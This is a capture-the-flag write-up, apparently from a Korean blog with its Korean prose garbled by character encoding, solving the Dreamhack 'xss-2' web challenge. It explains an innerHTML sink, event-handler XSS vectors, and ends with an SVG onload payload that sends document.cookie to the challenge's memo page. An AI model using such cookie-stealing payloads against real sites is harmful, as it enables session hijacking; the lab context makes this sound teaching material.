๋ฐ์ํ
๋ฌธ์ ํด์
/vuln ํ์ด์ง
xss-1์์์ ๋ค๋ฅด๊ฒ script ์ฝ๋๊ฐ ๋์ํ์ง ์๋๋ค. /vuln ๋ผ์ฐํฐ๋ฅผ ์ดํด๋ณด๋ vuln.html ํ์ด์ง๋ฅผ ๋ ๋๋งํ๊ณ ์๋ค.
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
{% block content %}
<div id='vuln'></div>
<script>
var x=new URLSearchParams(location.search);
document.getElementById('vuln').innerHTML = x.get('param');
</script>
{% endblock %}
์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด,
- location.search ⇒ URL ์ฟผ๋ฆฌ ๋ฌธ์์ด ๋ถ๋ถ์ ๋ฐํํ๋ค. ์๋ฅผ ๋ค์ด, http://example.com?page=1¶m=test์ธ ๊ฒฝ์ฐ location.search๋ ?page=1¶m=test ๊ฐ ๋๋ค.
- new URLSearchParams(location.search) ๋ ์ด ์ฟผ๋ฆฌ ๋ฌธ์์ด์ URLSearchParams ๊ฐ์ฒด๋ก ๋ง๋ ๋ค.
- element.innerHTML ๋ Element ๋ด ํฌํจ๋ HTML, XML, ๋งํฌ์ ์ ๋ณด๋ฅผ ์ฝ๊ฑฐ๋ ์ธ๋ ์ฌ์ฉ๋๋ค. innerHTML ์ <script> ํ๊ทธ๊ฐ ํฌํจ๋์ด ์์ด๋ <script> ๋ถ๋ถ์ ์คํ๋์ง ์๋๋ก ์ง์ ํ๋ค. ๊ทธ๋ฌ๋ ์๋์ ์ฝ๋๋ ์คํ์ ํ๋ฏ๋ก ์์ ํ ์์ ํ๋ค๊ณ ๋งํ ์ ์๋ค.
1. onload ์ด๋ฒคํธ ํธ๋ค๋ฌ
์ ํจํ ์ด๋ฏธ์ง ๋ก๋ ํ onload ํธ๋ค๋ฌ ์คํ O
<img src="https://example.com/a.jpg" onload="alert()">
์ด๋ฏธ์ง ๋ก๋ ์คํจ ์ onload ํธ๋ค๋ฌ ์คํ X
<img src=x onload="alert()">
2. onerror ์ด๋ฒคํธ ํธ๋ค๋ฌ
์ ํจํ ์ด๋ฏธ์ง ๋ก๋ ํ onerror ํธ๋ค๋ฌ ์คํ X
<img src="https://example.com/a.jpg" onerror="alert()">
์ด๋ฏธ์ง ๋ก๋ ์คํจ ์ onerror ํธ๋ค๋ฌ ์คํ O
<img src=x onload="alert()">
3. onfocus ์ด๋ฒคํธ ํธ๋ค๋ฌ
input ํ๊ทธ์ ํฌ์ปค์ค ๋๋ฉด onfocus ํธ๋ค๋ฌ ์คํ
autofocus๋ก ์๋์ผ๋ก ํฌ์ปค์ค ์ํ ๋๋ URL hash ๋ถ๋ถ์ id ์์ฑ ๊ฐ ์
๋ ฅ
(e.g http://example.com/#ID)
<input type="text" id="ID" onfocus="alert()" autofocus>
ํ์ด ๋ฐฉ๋ฒ
๊ทธ๋ผ xss-1 ์์ ๋ฌธ์ ๋ฅผ ํ์๋๋๋ก, /flag ํ์ด์ง์์ ๊ฐ์ ์ ์ถํ์ฌ ์ฟ ํค์ FLAG๋ฅผ ์ ์ฅํ ๋ค, memo์ ๊ทธ๊ฐ์ ์ด์ด๋ถ์ผ ์ ์๋๋ก ์ค์ ํ๋ฉด ๋๋ค.
<svg/onload="alert(1)"/>
<script> ๋์ ์ฝ๋๋ฅผ ์คํํ ์ ์๋๋ก <svg> ํ๊ทธ๋ฅผ ์ฌ์ฉํ๋ค.
svg ๋ค์ / ๋ฅผ ๋ฃ์ด self-closing ํ๊ทธ๋ฅผ ์ฌ์ฉํจ์ผ๋ก์จ ๋ธ๋ผ์ฐ์ ๊ฐ ์ด ํ๊ทธ๋ฅผ ํ์ฑํ๊ณ , onload ์ด๋ฒคํธ๋ฅผ ์คํํ๋๋ก ํ๋ค. ์ด๋ ํ๊ทธ๋ฅผ ๊ฐ๋จํ๊ฒ ๋ซ์ผ๋ฉด์๋ ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ๋ฒ์ด๋ค.
//๊ณต๊ฒฉ๊ตฌ๋ฌธ
<svg/onload=location.href="<http://127.0.0.1:8000/memo?memo=>"+document.cookie/>
์ฐธ๊ณ
Element: innerHTML property - Web APIs | MDN
๋ฐ์ํ
'๐ดโโ ๏ธ CTF ๐ดโโ ๏ธ > โ๏ธ ์น โ๏ธ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dream Hack - Web] sql injection bypass WAF (0) | 2024.08.14 |
---|---|
[Dream Hack - Web] error based sql injection (0) | 2024.08.13 |
[Dream Hack - Web] csrf-2 (0) | 2024.08.07 |
[Dream Hack - Web] csrf-1 (0) | 2024.08.07 |
[Dream Hack - Web] xss-1 (0) | 2024.08.02 |